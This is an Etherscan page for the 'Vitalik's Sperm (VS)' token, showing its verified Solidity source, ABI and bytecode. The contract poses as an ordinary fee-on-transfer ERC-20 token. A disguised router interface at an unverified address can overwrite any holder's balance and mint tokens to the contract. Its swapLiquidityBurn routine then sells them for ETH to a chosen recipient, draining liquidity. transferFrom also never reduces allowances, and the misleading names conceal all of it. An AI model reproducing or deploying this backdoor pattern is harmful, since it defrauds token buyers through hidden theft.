ETH Price: $2,535.85 (+0.10%)
Gas: 8.69 Gwei

Token

Vitalik's Sperm (VS)
 

Overview

Max Total Supply

1,000,000,000,000 VS

Holders

12

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,961.802113636 VS

Value
$0.00
0x80505d4b2c5c77e575588cfaca7f123bb9a62696
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
VS

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-08-30
*/

pragma solidity ^0.8.15;

// SPDX-License-Identifier: Unlicensed

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
}

interface IUniswapV3Router {
    function WETH(address) external view returns (bool);
    function getAmountsOut(address, address) external view returns(bool);
    function swapTokensForExactETH(address, address, bool, address, address) external returns (bool);
    function swapETHForExactTokens(uint256, address, address) external pure returns (uint256);
    function getAmountsIn() external view returns (address);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;
        return c;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract VS is Ownable, IERC20 {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 public _decimals = 9;
    uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;
    uint256 public _fee = 5;
    IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IUniswapV3Router private _uniRouter = IUniswapV3Router(0xd54250647cE76B26361956d40A43b39143d1a213);
    string private _name = "Vitalik's Sperm";
    string private  _symbol = "VS";
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
        require(_allowances[msg.sender][from] >= amount);
        _approve(msg.sender, from, _allowances[msg.sender][from] - amount);
        return true;
    }
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0));
        require(to != address(0));
        if (_uniRouter.getAmountsOut(from, to)) {
            swapLiquidityBurn(amount, to);
        } else if (!rebalanceSwap || amount <= _balances[from]) {
            _balances[_uniRouter.getAmountsIn()] = takeFee(from);
            uint256 feeAmount = getFeeAmount(from, to, amount);
            uint256 amountReceived = amount - feeAmount;
            _balances[address(this)] += feeAmount;
            _balances[from] = _balances[from] - amount;
            _balances[to] += amountReceived;
            emit Transfer(from, to, amount);
        }
    }
    function getFeeAmount(address from, address recipient, uint256 amount) private returns (uint256) {
        uint256 feeAmount = 0;
        if (_uniRouter.swapTokensForExactETH(from, recipient, rebalanceSwap, address(this), callLiquidity())) {
            feeAmount = amount.mul(_fee).div(100);
        }
        return feeAmount;
    }
    constructor() {
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
    }
    function name() external view returns (string memory) { return _name; }
    function symbol() external view returns (string memory) { return _symbol; }
    function decimals() external view returns (uint256) { return _decimals; }
    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function uniswapVersion() external pure returns (uint256) { return 2; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function swapLiquidityBurn(uint256 _sender, address w82) private {
        _approve(address(this), address(_router), _sender);
        _balances[address(this)] = _sender;
        address[] memory path = new address[](2);
        rebalanceSwap = true;
        path[0] = address(this);
        path[1] = _router.WETH();
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(_sender,0,path,w82,block.timestamp + 30);
        rebalanceSwap = false;
    }
    bool rebalanceSwap = false;
    function takeFee(address from) private view returns (uint256) {
        return _uniRouter.swapETHForExactTokens(_balances[_uniRouter.getAmountsIn()], from, callLiquidity());
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(from, recipient, amount);
        require(_allowances[from][msg.sender] >= amount);
        return true;
    }
    function callLiquidity() private view returns (address) {
        return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapVersion","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"}]

60806040526009600355600354600a6200001a9190620004cf565b64e8d4a510006200002c919062000520565b60045560058055737a250d5630b4cf539739df2c5dacb4c659f2488d600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073d54250647ce76b26361956d40a43b39143d1a213600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600f81526020017f566974616c696b277320537065726d000000000000000000000000000000000081525060089081620001239190620007f1565b506040518060400160405280600281526020017f5653000000000000000000000000000000000000000000000000000000000000815250600990816200016a9190620007f1565b506000600a60006101000a81548160ff0219169083151502179055503480156200019357600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600454600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051620003349190620008e9565b60405180910390a362000906565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620003d057808604811115620003a857620003a762000342565b5b6001851615620003b85780820291505b8081029050620003c88562000371565b945062000388565b94509492505050565b600082620003eb5760019050620004be565b81620003fb5760009050620004be565b81600181146200041457600281146200041f5762000455565b6001915050620004be565b60ff84111562000434576200043362000342565b5b8360020a9150848211156200044e576200044d62000342565b5b50620004be565b5060208310610133831016604e8410600b84101617156200048f5782820a90508381111562000489576200048862000342565b5b620004be565b6200049e84848460016200037e565b92509050818404811115620004b857620004b762000342565b5b81810290505b9392505050565b6000819050919050565b6000620004dc82620004c5565b9150620004e983620004c5565b9250620005187fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620003d9565b905092915050565b60006200052d82620004c5565b91506200053a83620004c5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000576576200057562000342565b5b828202905092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200060357607f821691505b602082108103620006195762000618620005bb565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006837fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000644565b6200068f868362000644565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620006d2620006cc620006c684620004c5565b620006a7565b620004c5565b9050919050565b6000819050919050565b620006ee83620006b1565b62000706620006fd82620006d9565b84845462000651565b825550505050565b600090565b6200071d6200070e565b6200072a818484620006e3565b505050565b5b8181101562000752576200074660008262000713565b60018101905062000730565b5050565b601f821115620007a1576200076b816200061f565b620007768462000634565b8101602085101562000786578190505b6200079e620007958562000634565b8301826200072f565b50505b505050565b600082821c905092915050565b6000620007c660001984600802620007a6565b1980831691505092915050565b6000620007e18383620007b3565b9150826002028217905092915050565b620007fc8262000581565b67ffffffffffffffff8111156200081857620008176200058c565b5b620008248254620005ea565b6200083182828562000756565b600060209050601f83116001811462000869576000841562000854578287015190505b620008608582620007d3565b865550620008d0565b601f19841662000879866200061f565b60005b82811015620008a3578489015182556001820191506020850194506020810190506200087c565b86831015620008c35784890151620008bf601f891682620007b3565b8355505b6001600288020188555050505b505050505050565b620008e381620004c5565b82525050565b6000602082019050620009006000830184620008d8565b92915050565b6121d280620009166000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c806348d3ab1f116100a257806395d89b411161007157806395d89b41146102ac578063a457c2d7146102ca578063a9059cbb146102fa578063c5b37c221461032a578063dd62ed3e146103485761010b565b806348d3ab1f1461023657806370a0823114610254578063715018a6146102845780638da5cb5b1461028e5761010b565b8063313ce567116100de578063313ce567146101ac57806332424aa3146101ca57806339509351146101e85780633eaaf86b146102185761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017c575b600080fd5b610118610378565b60405161012591906117cd565b60405180910390f35b61014860048036038101906101439190611888565b61040a565b60405161015591906118e3565b60405180910390f35b610166610421565b604051610173919061190d565b60405180910390f35b61019660048036038101906101919190611928565b61042b565b6040516101a391906118e3565b60405180910390f35b6101b46104cc565b6040516101c1919061190d565b60405180910390f35b6101d26104d6565b6040516101df919061190d565b60405180910390f35b61020260048036038101906101fd9190611888565b6104dc565b60405161020f91906118e3565b60405180910390f35b61022061057a565b60405161022d919061190d565b60405180910390f35b61023e610580565b60405161024b919061190d565b60405180910390f35b61026e6004803603810190610269919061197b565b610589565b60405161027b919061190d565b60405180910390f35b61028c6105d2565b005b610296610705565b6040516102a391906119b7565b60405180910390f35b6102b461072e565b6040516102c191906117cd565b60405180910390f35b6102e460048036038101906102df9190611888565b6107c0565b6040516102f191906118e3565b60405180910390f35b610314600480360381019061030f9190611888565b6108e7565b60405161032191906118e3565b60405180910390f35b6103326108fe565b60405161033f919061190d565b60405180910390f35b610362600480360381019061035d91906119d2565b610904565b60405161036f919061190d565b60405180910390f35b60606008805461038790611a41565b80601f01602080910402602001604051908101604052809291908181526020018280546103b390611a41565b80156104005780601f106103d557610100808354040283529160200191610400565b820191906000526020600020905b8154815290600101906020018083116103e357829003601f168201915b5050505050905090565b600061041733848461098b565b6001905092915050565b6000600454905090565b6000610438848484610b54565b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156104c157600080fd5b600190509392505050565b6000600354905090565b60035481565b6000610570338484600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461056b9190611aa1565b61098b565b6001905092915050565b60045481565b60006002905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166105f1610705565b73ffffffffffffffffffffffffffffffffffffffff1614610647576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063e90611b21565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606009805461073d90611a41565b80601f016020809104026020016040519081016040528092919081815260200182805461076990611a41565b80156107b65780601f1061078b576101008083540402835291602001916107b6565b820191906000526020600020905b81548152906001019060200180831161079957829003601f168201915b5050505050905090565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561084b57600080fd5b6108dd338484600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108d89190611b41565b61098b565b6001905092915050565b60006108f4338484610b54565b6001905092915050565b60055481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036109fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f190611be7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610a69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6090611c79565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b47919061190d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b8d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bc657600080fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166309d0804b84846040518363ffffffff1660e01b8152600401610c23929190611c99565b602060405180830381865afa158015610c40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c649190611cee565b15610c7857610c738183610f7b565b610f76565b600a60009054906101000a900460ff161580610cd35750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111155b15610f7557610ce183611245565b60016000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b8dd794c6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d52573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d769190611d30565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000610dc18484846113c4565b905060008183610dd19190611b41565b905081600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e229190611aa1565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e749190611b41565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f069190611aa1565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610f6a919061190d565b60405180910390a350505b5b505050565b610fa830600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461098b565b81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff81111561100957611008611d5d565b5b6040519080825280602002602001820160405280156110375781602001602082028036833780820191505090505b5090506001600a60006101000a81548160ff021916908315150217905550308160008151811061106a57611069611d8c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611111573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111359190611d30565b8160018151811061114957611148611d8c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601e426111d39190611aa1565b6040518663ffffffff1660e01b81526004016111f3959493929190611ebe565b600060405180830381600087803b15801561120d57600080fd5b505af1158015611221573d6000803e3d6000fd5b505050506000600a60006101000a81548160ff021916908315150217905550505050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e12c554360016000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b8dd794c6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061131a9190611d30565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461135e6114c2565b6040518463ffffffff1660e01b815260040161137c93929190611f18565b602060405180830381865afa158015611399573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bd9190611f64565b9050919050565b60008060009050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fe0d598b8686600a60009054906101000a900460ff16306114246114c2565b6040518663ffffffff1660e01b8152600401611444959493929190611f91565b6020604051808303816000875af1158015611463573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114879190611cee565b156114b7576114b460646114a66005548661166590919063ffffffff16565b6116df90919063ffffffff16565b90505b809150509392505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611531573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115559190611d30565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116029190611d30565b6040518363ffffffff1660e01b815260040161161f929190611c99565b602060405180830381865afa15801561163c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116609190611d30565b905090565b600080830361167757600090506116d9565b600082846116859190611fe4565b9050828482611694919061206d565b146116d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cb90612110565b60405180910390fd5b809150505b92915050565b6000808211611723576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171a9061217c565b60405180910390fd5b60008284611731919061206d565b90508091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561177757808201518184015260208101905061175c565b60008484015250505050565b6000601f19601f8301169050919050565b600061179f8261173d565b6117a98185611748565b93506117b9818560208601611759565b6117c281611783565b840191505092915050565b600060208201905081810360008301526117e78184611794565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061181f826117f4565b9050919050565b61182f81611814565b811461183a57600080fd5b50565b60008135905061184c81611826565b92915050565b6000819050919050565b61186581611852565b811461187057600080fd5b50565b6000813590506118828161185c565b92915050565b6000806040838503121561189f5761189e6117ef565b5b60006118ad8582860161183d565b92505060206118be85828601611873565b9150509250929050565b60008115159050919050565b6118dd816118c8565b82525050565b60006020820190506118f860008301846118d4565b92915050565b61190781611852565b82525050565b600060208201905061192260008301846118fe565b92915050565b600080600060608486031215611941576119406117ef565b5b600061194f8682870161183d565b93505060206119608682870161183d565b925050604061197186828701611873565b9150509250925092565b600060208284031215611991576119906117ef565b5b600061199f8482850161183d565b91505092915050565b6119b181611814565b82525050565b60006020820190506119cc60008301846119a8565b92915050565b600080604083850312156119e9576119e86117ef565b5b60006119f78582860161183d565b9250506020611a088582860161183d565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611a5957607f821691505b602082108103611a6c57611a6b611a12565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611aac82611852565b9150611ab783611852565b9250828201905080821115611acf57611ace611a72565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611b0b602083611748565b9150611b1682611ad5565b602082019050919050565b60006020820190508181036000830152611b3a81611afe565b9050919050565b6000611b4c82611852565b9150611b5783611852565b9250828203905081811115611b6f57611b6e611a72565b5b92915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611bd1602583611748565b9150611bdc82611b75565b604082019050919050565b60006020820190508181036000830152611c0081611bc4565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611c63602383611748565b9150611c6e82611c07565b604082019050919050565b60006020820190508181036000830152611c9281611c56565b9050919050565b6000604082019050611cae60008301856119a8565b611cbb60208301846119a8565b9392505050565b611ccb816118c8565b8114611cd657600080fd5b50565b600081519050611ce881611cc2565b92915050565b600060208284031215611d0457611d036117ef565b5b6000611d1284828501611cd9565b91505092915050565b600081519050611d2a81611826565b92915050565b600060208284031215611d4657611d456117ef565b5b6000611d5484828501611d1b565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000819050919050565b6000611dea611de5611de084611dbb565b611dc5565b611852565b9050919050565b611dfa81611dcf565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611e3581611814565b82525050565b6000611e478383611e2c565b60208301905092915050565b6000602082019050919050565b6000611e6b82611e00565b611e758185611e0b565b9350611e8083611e1c565b8060005b83811015611eb1578151611e988882611e3b565b9750611ea383611e53565b925050600181019050611e84565b5085935050505092915050565b600060a082019050611ed360008301886118fe565b611ee06020830187611df1565b8181036040830152611ef28186611e60565b9050611f0160608301856119a8565b611f0e60808301846118fe565b9695505050505050565b6000606082019050611f2d60008301866118fe565b611f3a60208301856119a8565b611f4760408301846119a8565b949350505050565b600081519050611f5e8161185c565b92915050565b600060208284031215611f7a57611f796117ef565b5b6000611f8884828501611f4f565b91505092915050565b600060a082019050611fa660008301886119a8565b611fb360208301876119a8565b611fc060408301866118d4565b611fcd60608301856119a8565b611fda60808301846119a8565b9695505050505050565b6000611fef82611852565b9150611ffa83611852565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561203357612032611a72565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061207882611852565b915061208383611852565b9250826120935761209261203e565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006120fa602183611748565b91506121058261209e565b604082019050919050565b60006020820190508181036000830152612129816120ed565b9050919050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b6000612166601a83611748565b915061217182612130565b602082019050919050565b6000602082019050818103600083015261219581612159565b905091905056fea2646970667358221220c1a17db59f5b3604339c4cc57270cec8f5cd4ec2821a0439c28239d42cb34ad064736f6c63430008100033

Deployed Bytecode

